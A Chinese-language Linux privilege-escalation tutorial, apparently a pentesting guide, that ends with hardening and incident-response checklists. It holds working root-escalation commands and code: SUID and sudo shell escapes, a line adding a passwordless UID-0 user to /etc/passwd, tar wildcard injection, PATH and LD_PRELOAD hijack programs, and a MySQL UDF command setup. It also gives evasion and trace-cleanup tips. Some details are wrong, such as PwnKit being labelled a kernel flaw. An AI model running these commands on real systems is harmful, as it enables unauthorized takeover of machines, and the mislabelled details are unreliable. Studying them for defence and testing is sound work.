1. 项目概述：为什么我们需要系统性地了解Linux提权？

在Linux世界里，权限就是一切。无论是作为系统管理员、安全研究员，还是渗透测试工程师，理解权限如何被获取、滥用和防御，都是核心技能。我见过太多因为一个配置疏忽、一个未修补的漏洞，导致整个服务器沦陷的案例。提权，简单来说，就是从一个低权限用户（比如一个普通的Web应用账户）提升到更高权限（通常是root）的过程。这不仅仅是黑客攻击的“最后一步”，更是安全防御者必须深究的“攻击路径”。

网上零散的提权技巧很多，但往往缺乏系统性，新手容易看得云里雾里，老手也可能遗漏一些生僻但有效的角落。这篇文章的目的，就是把这20种主要的提权姿势，按照从常见到隐蔽、从利用到防御的逻辑，进行一次彻底的梳理和实战化拆解。它不是鼓励你去攻击别人的系统，而是为你构建一个完整的“攻击者思维模型”。只有当你清楚地知道攻击者会从哪些地方下手，你才能更有效地加固你的堡垒。无论是为了通过安全认证考试，还是为了在实际工作中做好系统加固，收藏这一篇，反复实践和理解，绝对能让你从“知道几个命令”到“精通整个提权攻防体系”。

2. 提权基础认知与前期信息收集

在尝试任何提权技术之前，盲目操作是最低效且最容易触发告警的行为。一次成功的提权，80%的功劳在于细致入微的信息收集。你需要像侦探一样，把当前系统的“底细”摸得一清二楚。

2.1 你是谁？你在哪？系统什么样？

首先，确立你的立足点。使用id命令查看当前用户和所属组，这是所有操作的起点。接着，用uname -a获取内核版本和系统架构信息，这直接决定了后续哪些内核漏洞利用程序可能生效。cat /etc/issue或cat /etc/*-release可以查看具体的发行版和版本号。

注意：不同Linux发行版（如Ubuntu、CentOS、Debian）在包管理、默认配置、文件路径上常有差异，针对性的搜索和利用会更高效。

然后，你需要一张系统的“地图”。pwd确认当前目录，env或printenv查看环境变量，这里面可能藏着路径、密钥或配置信息。history命令看看当前用户执行过什么，有时能发现密码、敏感命令或线索。

2.2 挖掘系统配置与敏感信息

信息收集的深度决定了提权的高度。以下几个关键点需要重点排查：

1. 网络与服务：netstat -tulpn或ss -tulpn查看开放端口和对应服务，本地监听的脆弱服务（如老旧版本的MySQL、Redis）可能是突破口。ps aux或ps -ef查看所有进程，关注以root身份运行的非系统核心进程。
2. 文件与权限：重点检查配置文件。ls -la /etc/passwd和/etc/shadow的权限至关重要。查看/etc/sudoers文件（使用sudo -l更安全）来了解当前用户能以root身份执行哪些命令，这是最常见的提权入口之一。
3. 计划任务与服务：crontab -l查看当前用户的计划任务，ls -la /etc/cron*查看系统级计划任务目录，寻找权限配置不当的脚本。systemctl list-units --type=service或service --status-all查看系统服务，脆弱的服务可能被劫持。
4. SUID/SGID文件：这是经典的提权向量。执行find / -type f -perm -4000 -ls 2>/dev/null查找所有SUID文件，find / -type f -perm -2000 -ls 2>/dev/null查找SGID文件。找到非标准的、具有SUID权限的可执行文件，需要重点分析。

我个人的经验是，将上述命令的输出重定向到本地文件，然后离线慢慢分析。在真实环境中，尽量使用已安装的工具（如find,ls,cat），避免触发安装新软件包的警报。信息收集阶段要静默、全面。

3. 用户与文件系统层面的提权姿势

这类提权不依赖复杂的漏洞利用，更多是利用系统配置、权限设置上的逻辑错误或管理疏忽。它们往往更稳定，且不易被入侵检测系统（IDS）察觉。

3.1 SUID/SGID滥用提权

SUID（Set User ID）是一个特殊的文件权限位。当一个具有SUID权限的可执行文件被执行时，它将以文件所有者的身份运行，而不是执行者。如果这个文件的所有者是root，并且程序本身存在逻辑缺陷，就可能用来提权。

核心原理：找到属于root的、带有SUID位的、非必要的可执行文件，并利用其功能（如执行命令、读写文件）来获取root shell。

常见危险程序与利用方法：

• find：find / -exec /bin/sh \; -quit可以直接生成一个root shell。因为find可以执行-exec参数后的命令，并以自己的权限（root）运行。
• vim/vi：如果vim具有SUID权限，可以在编辑器中通过:!bash或:shell命令启动一个shell，该shell将继承vim的root权限。
• bash（较新版本已修复）：旧版本中，如果bash具有SUID位，使用bash -p参数可以启动一个不丢弃特权（privilege）的shell。
• cp：可以覆盖敏感文件，如/etc/passwd或/etc/shadow。
• nmap（交互模式）：旧版本的nmap带有--interactive参数，在此模式下，可以执行!sh来逃逸到shell。

实操步骤：

1. 枚举：find / -type f -perm -4000 2>/dev/null
2. 筛选：从结果中排除/usr/bin/passwd,/usr/bin/sudo等已知必要的系统文件，关注第三方或非常见程序。
3. 研究：对可疑程序，使用ls -la查看其路径和所有者，使用strings <program>查看其字符串，寻找可能执行命令的函数（如system(),popen()）。
4. 利用：根据程序功能寻找利用方式。例如，对于awk，可以尝试awk 'BEGIN {system("/bin/sh")}'。

重要心得：并非所有SUID文件都可利用。关键在于该程序是否提供了执行任意命令或读写任意文件的能力。现代Linux系统（如Ubuntu 18.04+）的/bin/bash和/bin/dash默认会丢弃SUID权限，使得bash -p这类方法失效，但其他程序仍需警惕。

3.2 Sudo配置不当提权

Sudo是系统管理员委派权限的核心工具。配置不当的sudoers文件是提权的黄金门票。命令sudo -l可以列出当前用户无需密码即可运行的sudo命令。

常见危险配置与利用：

• 直接获取shell：如果用户被允许以root身份无密码运行sudo /bin/bash，那么直接提权。
• 利用特定程序的逃逸功能：
  • sudo vi/sudo vim：在编辑器中执行:!bash。
  • sudo less/sudo more：在查看文件时，可以执行!bash。
  • sudo git：sudo git -p help中的!命令可以执行shell，或者sudo git help config然后输入!bash。
  • sudo awk：sudo awk 'BEGIN {system("/bin/sh")}'。
  • sudo find：sudo find / -exec /bin/sh \; -quit。
  • sudo nmap（交互模式）：同上。
  • sudo perl/sudo python/sudo ruby：这些解释器可以直接执行系统命令。
• 文件读写类：
  • sudo cp：覆盖/etc/passwd或/etc/shadow。
  • sudo tee：配合输入重定向，可以向只有root可写的文件写入内容。例如：echo 'myuser::0:0::/root:/bin/bash' | sudo tee -a /etc/passwd。
  • sudo dd：同样可以用于写入文件。
  • sudo chmod/sudo chown：修改关键文件（如/etc/shadow,/etc/sudoers）的权限或所有者，使其可读写。

排查与利用流程：

1. 运行sudo -l，仔细阅读输出。关注(ALL) NOPASSWD:后面的命令列表。
2. 对列表中的每一个命令，思考：“这个命令能否让我执行任意代码？能否读写敏感文件？” 可以搜索 “[program name] sudo privilege escalation” 来获取已知的利用技术。
3. 如果命令允许带参数，尝试利用参数注入或功能逃逸。例如，某些文本编辑器或查看器允许执行shell命令。

3.3 通配符注入与Cron Jobs提权

Cron Jobs提权：系统或用户设置的定时任务（cron job）如果以root权限运行，并且其执行的脚本或命令当前用户有写入权限，就可以通过修改该脚本来实现提权。

排查方法：

• crontab -l（查看当前用户任务）
• ls -la /etc/cron*（查看系统任务）
• cat /etc/crontab

利用场景：假设发现一个root的cron任务每分钟执行/opt/scripts/backup.sh，而你对该脚本有写权限。只需编辑该脚本，在末尾添加一行chmod u+s /bin/bash，等待一分钟后，/bin/bash就拥有了SUID位，然后执行bash -p即可。

通配符注入：这在利用Tar、Rsync等命令进行备份的cron脚本中尤其危险。例如，一个备份脚本可能这样写：tar czf /backups/backup.tar.gz *。如果当前目录你可控，你可以创建一些特殊文件来利用tar的--checkpoint参数执行命令。

1. echo '#!/bin/bash\nchmod u+s /bin/bash' > shell.sh
2. touch -- '--checkpoint=1'
3. touch -- '--checkpoint-action=exec=sh shell.sh'当tar命令运行时，它会将这些文件名解析为参数，从而执行我们的脚本。

3.4 环境变量与路径劫持提权

环境变量提权：如果有一个SUID程序动态调用了另一个命令（例如，在代码中使用了system(“ls”)而没有指定绝对路径），那么我们可以通过操纵PATH环境变量，让系统优先执行我们自定义的恶意ls程序。

利用步骤：

1. 找到一个SUID程序，用strings或ltrace分析，发现它调用了诸如ls,cat,id等未使用绝对路径的命令。
2. 编写一个恶意C程序，编译后命名为该命令（如ls）。

   #include <stdio.h> #include <stdlib.h> int main() { setuid(0); system("/bin/bash"); return 0; }

   gcc -o ls malicious.c
3. 将当前目录（存放恶意ls）添加到PATH的最前面：export PATH=/tmp/malicious:$PATH。
4. 运行那个SUID程序。当它尝试执行ls时，会找到并执行我们的恶意程序，从而获得root shell。

LD_PRELOAD劫持：如果SUID程序动态链接了共享库，并且允许用户控制LD_PRELOAD环境变量（通常SUID程序会忽略此变量，但有些配置错误的程序不会），我们可以预加载一个恶意的共享库来提权。

利用步骤：

1. 创建恶意库文件malicious.c:

   #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); system("/bin/bash"); }

2. 编译：gcc -fPIC -shared -o malicious.so malicious.c -nostartfiles
3. 设置环境变量并运行目标SUID程序：sudo LD_PRELOAD=/tmp/malicious.so <program>

   注意：绝大多数SUID程序会出于安全考虑，清空或忽略LD_PRELOAD。此方法成功率较低，但仍是检查项。

4. 内核漏洞与系统服务提权

当配置层面的提权走不通时，攻击者往往会转向挖掘系统更深层的漏洞——内核漏洞。这类提权通常具有通用性，但风险也更高，可能造成系统崩溃。

4.1 内核漏洞提权原理与流程

内核是操作系统的核心，拥有最高权限（Ring 0）。内核漏洞提权，就是利用内核代码中的缺陷（如缓冲区溢出、竞态条件、逻辑错误），在内核空间执行任意代码，从而将当前进程的权限提升到root。

标准操作流程：

1. 信息收集：精确获取内核版本和系统架构。uname -a是第一步。还需要了解发行版、内核补丁级别（cat /proc/version），有时甚至需要查看已安装的内核包（dpkg -l | grep linux-image或rpm -qa | grep kernel）。
2. 漏洞匹配：根据收集到的内核版本，在公开漏洞库（如Exploit-DB, GitHub）中搜索对应的本地提权（Local Privilege Escalation, LPE）漏洞利用程序（Exploit）。常见的重大内核漏洞有：
   • Dirty COW (CVE-2016-5195)：一个经典的竞态条件漏洞，影响范围极广，利用稳定。
   • Linux Kernel < 5.8.0 权限提升漏洞 (CVE-2021-4034, PwnKit)：Polkit的pkexec组件漏洞，存在了十多年，影响几乎所有主流发行版。
   • 其他：如CVE-2017-16995, CVE-2022-0847 (Dirty Pipe)等。
3. 环境准备：检查目标系统是否有编译环境（gcc --version,make --version）。如果没有，可能需要寻找静态编译好的二进制利用程序，或者尝试上传交叉编译好的版本。
4. 编译与执行：将利用代码上传到目标服务器，根据其说明进行编译（gcc exploit.c -o exploit）并执行（./exploit）。成功后会通常返回一个root shell。
5. 清理痕迹：删除上传的利用源代码和二进制文件。

实操心得与避坑指南：

• 兼容性是最大敌人：一个Exploit可能只在特定的内核小版本、发行版和架构上有效。在测试环境成功，不代表在生产环境也能成功。务必仔细阅读Exploit的说明。
• 可能引起系统崩溃：内核漏洞利用不稳定，可能导致内核恐慌（Kernel Panic），系统死机。在生产环境测试是极端危险和不负责任的行为。
• Exploit的修改：公开的Exploit有时需要根据目标环境进行微调，比如调整偏移量（offset）或修改shellcode。这需要一定的二进制和调试经验。
• 防御措施：保持内核更新是最有效的防御。此外，使用安全模块如SELinux/AppArmor可以增加漏洞利用的难度。

4.2 利用脆弱的系统服务提权

除了内核，以root身份运行的系统服务也是攻击面。如果服务本身存在漏洞（如缓冲区溢出），或者其配置、依赖存在问题，也可能导致提权。

常见脆弱服务场景：

1. MySQL / MariaDB (UDF提权)：如果以root身份运行MySQL，并且你能写入插件目录（/usr/lib/mysql/plugin/或类似路径），你可以编译一个恶意的用户定义函数（UDF）动态库，在MySQL中创建该函数并执行系统命令。
   • 利用条件：需要获得MySQL的登录凭据（可能从Web配置文件泄露），并且具有FILE权限。
   • 大致步骤：上传恶意.so文件 -> 在MySQL中创建函数CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'malicious.so';-> 执行SELECT sys_exec('chmod u+s /bin/bash');
2. NFS (No_root_squash)：如果NFS共享配置了no_root_squash选项，并且客户端可以挂载，那么客户端上的root用户可以在共享目录中创建文件，并且这些文件在NFS服务器上也会以root身份拥有。如果服务器上有SUID程序调用了该目录下的文件，就可能被利用。
3. Docker / 容器逃逸：如果当前用户是docker组成员，可以执行docker run -v /:/hostOS -it ubuntu bash这样的命令，将宿主机根目录挂载到容器内，从而直接在容器内修改宿主机文件（如/etc/passwd）实现提权。这本质上是滥用Docker授予的权限。
4. 有缺陷的SUID程序（非标准）：回到第3.1节，但这里指的是程序本身存在代码漏洞，而非配置问题。例如，一个自定义的、具有SUID权限的日志查看程序存在缓冲区溢出漏洞，可以被利用来执行任意代码。

5. 密码、哈希与配置文件攻击

这类提权更直接，目标是获取root或其他高权限用户的密码或密码哈希。

5.1 密码与哈希窃取与破解

窃取哈希文件：/etc/shadow文件存储了所有用户的密码哈希。如果由于配置错误（如错误的备份脚本），导致该文件可读，攻击者可以直接读取并尝试破解。

• cat /etc/shadow（需要root权限）
• 查找是否有其他位置存在该文件副本：find / -name shadow.bak -type f 2>/dev/null或find / -type f -exec grep -l 'root:\$' {} \; 2>/dev/null

窃取内存中的密码：有时密码会出现在进程内存或交换分区中。

• 使用strings命令扫描内存：strings /dev/mem | grep -i password（需要root权限，且现代内核通常禁用/dev/mem访问）。
• 扫描交换分区：strings /dev/sdXN | grep -i password（需要root权限，sdXN是交换分区设备）。

破解哈希：拿到哈希后，使用工具如john(John the Ripper) 或hashcat进行破解。首先需要识别哈希类型（如$6$表示SHA-512，$1$表示MD5），然后使用字典或暴力破解。

• john --format=sha512crypt shadow.txt
• hashcat -m 1800 -a 0 shadow.txt rockyou.txt

5.2 配置文件与历史记录泄露

敏感配置文件：

• Web配置文件：/var/www/html/config.php,wp-config.php,.env等文件中可能包含数据库密码，而数据库用户可能具有高权限。
• SSH密钥：~/.ssh/id_rsa,~/.ssh/id_dsa，以及~/.ssh/authorized_keys。如果获取到其他用户（甚至是root）的私钥且未加密，可以直接登录。
• 备份文件：.bak,.old,.swp(vim交换文件),.swo等备份或临时文件可能包含原始配置或未保存的修改。例如，.wp-config.php.swp。
• 数据库转储文件：.sql,.dump文件可能包含用户表和哈希。

Shell历史记录：~/.bash_history,~/.zsh_history等文件记录了用户输入过的命令，可能包含密码（误输入）、连接数据库的命令、sudo密码等。

• cat ~/.bash_history
• cat /root/.bash_history（如果意外有读取权限）

利用流程：通过信息收集找到这些文件 -> 提取其中的密码、密钥、连接字符串 -> 尝试登录其他服务（SSH, MySQL, PostgreSQL）或切换用户（su）-> 如果目标用户有sudo权限，则进一步提权。

6. 高级与组合利用技巧

将前面的基础方法组合起来，或者利用一些更隐蔽的机制，往往能绕过简单的防御。

6.1 利用Capabilities能力机制

Linux Capabilities将root特权分解为一系列独立的“能力”。一个进程可以被赋予部分能力，而不需要完整的root权限。但如果一个非root用户的进程被错误地赋予了危险的能力，也可能导致提权。

危险的能力举例：

• CAP_DAC_READ_SEARCH：绕过文件读权限检查和目录读/执行权限检查。
• CAP_DAC_OVERRIDE：绕过文件的写权限检查。
• CAP_SYS_ADMIN：拥有大量管理权限（近似root）。
• CAP_SYS_PTRACE：允许跟踪任意进程，可用于注入代码。
• CAP_SYS_MODULE：允许插入内核模块。

枚举与利用：

1. 枚举具有能力的文件：getcap -r / 2>/dev/null
2. 分析结果。例如，如果发现/usr/bin/python3.8 = cap_sys_admin+ep，这意味着python可以行使CAP_SYS_ADMIN能力。通过编写特定的Python脚本，可能可以完成提权（例如，挂载文件系统、修改主机名等，具体取决于利用方式）。
3. 一个经典的例子是ping程序。为了允许普通用户使用原始套接字（raw socket）进行ping，它被赋予了CAP_NET_RAW能力。虽然这个能力本身不易直接提权，但它说明了能力机制的存在。

利用Capabilities提权通常需要更深入的理解和特定的利用链，但它是一个越来越重要的攻击面，特别是在容器和最小权限环境中。

6.2 利用共享库与动态链接器

除了LD_PRELOAD，还有其他与动态链接相关的攻击面。

/etc/ld.so.preload文件：此文件优先级高于LD_PRELOAD环境变量，系统会在启动任何程序时预加载其中指定的库。如果这个文件可写，可以写入一个恶意库路径，实现持久化提权。但该文件通常为root所有。

利用rpath或runpath：如果SUID程序在编译时设置了rpath或runpath，并且指向了一个当前用户可写的目录，那么可以将恶意共享库放在该目录下，当程序运行时就会加载它。使用readelf -d <program> | grep -E '(RPATH|RUNPATH)'来检查。

6.3 组合利用案例：从Web Shell到Root

假设我们通过Web漏洞获得了一个低权限的Web Shell（用户www-data）。提权路径可能是这样的：

1. 信息收集：发现系统是Ubuntu 18.04，内核版本4.15.0-xx。运行sudo -l发现www-data用户可以无密码运行/usr/bin/vi。
2. 利用Sudo：在Web Shell中执行sudo vi，然后在vi中输入:!bash，获得一个root shell。（最快路径）
3. 如果上述失败：检查SUID文件，发现/usr/bin/find是SUID root。
4. 利用SUID：执行/usr/bin/find . -exec /bin/bash -p \; -quit，获得root shell。
5. 如果还失败：检查计划任务，发现root每分钟执行/opt/scripts/clean_log.sh，且该脚本www-data可写。
6. 利用Cron：编辑/opt/scripts/clean_log.sh，添加反弹Shell命令或设置SUID位，等待执行。
7. 最后手段：搜索内核漏洞，发现该内核版本存在Dirty COW漏洞。在目标机器上编译或上传利用程序，执行后提权。

这个案例展示了多种姿势的组合。在实际渗透中，需要根据收集到的信息，灵活选择最可能成功、最隐蔽的路径。

7. 防御视角：如何构建你的提权检测与防护体系

理解了攻击，才能更好地防御。作为系统管理员或安全工程师，你应该从攻击者的视角审视你的系统。

7.1 系统加固配置清单

1. 最小权限原则：
   • 禁用root的SSH直接登录：PermitRootLogin noin/etc/ssh/sshd_config。
   • 使用sudo精细授权，遵循最小权限原则，避免ALL=(ALL) NOPASSWD: ALL这种宽泛配置。
   • 定期审计sudoers文件：visudo -c检查语法，并人工审查授权命令。
2. SUID/SGID文件管理：
   • 定期审计系统上的SUID/SGID文件：find / -type f -perm /6000 -ls > /tmp/suid-list.txt，与基线对比，移除非必要的SUID位。例如，对于不需要特殊权限的程序：chmod u-s /path/to/program。
   • 使用mount选项nosuid挂载非必要的分区（如/home,/tmp）。
3. 内核与软件更新：
   • 建立稳定的系统更新机制，及时安装安全补丁，尤其是内核更新。对于无法重启的服务，评估内核热补丁方案。
   • 关注CVE公告，对已披露的、影响自身环境的漏洞进行优先级评估和修复。
4. 服务与配置安全：
   • 禁用不必要的服务。使用systemctl list-unit-files --type=service查看，禁用enabled但非核心的服务。
   • 为数据库、中间件等服务创建专用低权限用户运行，绝不使用root。
   • 检查NFS等共享服务的配置，确保没有不必要的no_root_squash。
   • 确保/etc/passwd和/etc/shadow权限正确（644和600，root所有）。
5. 文件系统监控与审计：
   • 使用auditd或文件完整性监控（FIM）工具，监控对关键文件（如/etc/passwd,/etc/shadow,/etc/sudoers,/etc/cron*, SUID文件）的修改、访问尝试。
   • 配置日志集中管理，并设置告警规则，对异常sudo使用、失败登录、关键文件修改等行为进行告警。

7.2 入侵检测与应急响应线索

当怀疑系统已被入侵并发生提权时，检查以下痕迹：

• 用户与组：检查/etc/passwd和/etc/group是否有未知用户或UID为0的用户（除root外）。lastlog,last,w命令查看登录记录。
• 进程与网络：使用ps auxf或top查看异常进程树。使用netstat -tulpn或ss -tulpn查看异常监听端口或外连。
• 文件系统：查找近期被修改的SUID文件：find / -type f -perm -4000 -newer /tmp/reference-file 2>/dev/null。查找可疑的隐藏文件或目录：find / -name “.*” -type f 2>/dev/null。
• 历史命令：检查~/.bash_history,/root/.bash_history，但注意攻击者可能会清空历史（history -c或unset HISTFILE）。
• 计划任务：重新检查/etc/crontab,/etc/cron.*/,/var/spool/cron/是否有恶意任务。
• 系统日志：仔细审查/var/log/auth.log(Ubuntu/Debian) 或/var/log/secure(RHEL/CentOS)，寻找sudo、su、SSH的异常记录。查看/var/log/kern.log或dmesg是否有内核异常信息。

防御是一个持续的过程，没有一劳永逸的方案。定期进行安全审计、漏洞扫描和渗透测试（或邀请专业团队进行），模拟攻击者的行为，是发现和修复提权漏洞最有效的方式。把这20种提权姿势当作你的检查清单，逐一审视你的系统，你会发现，安全防线正是在这个过程中一步步牢固起来的。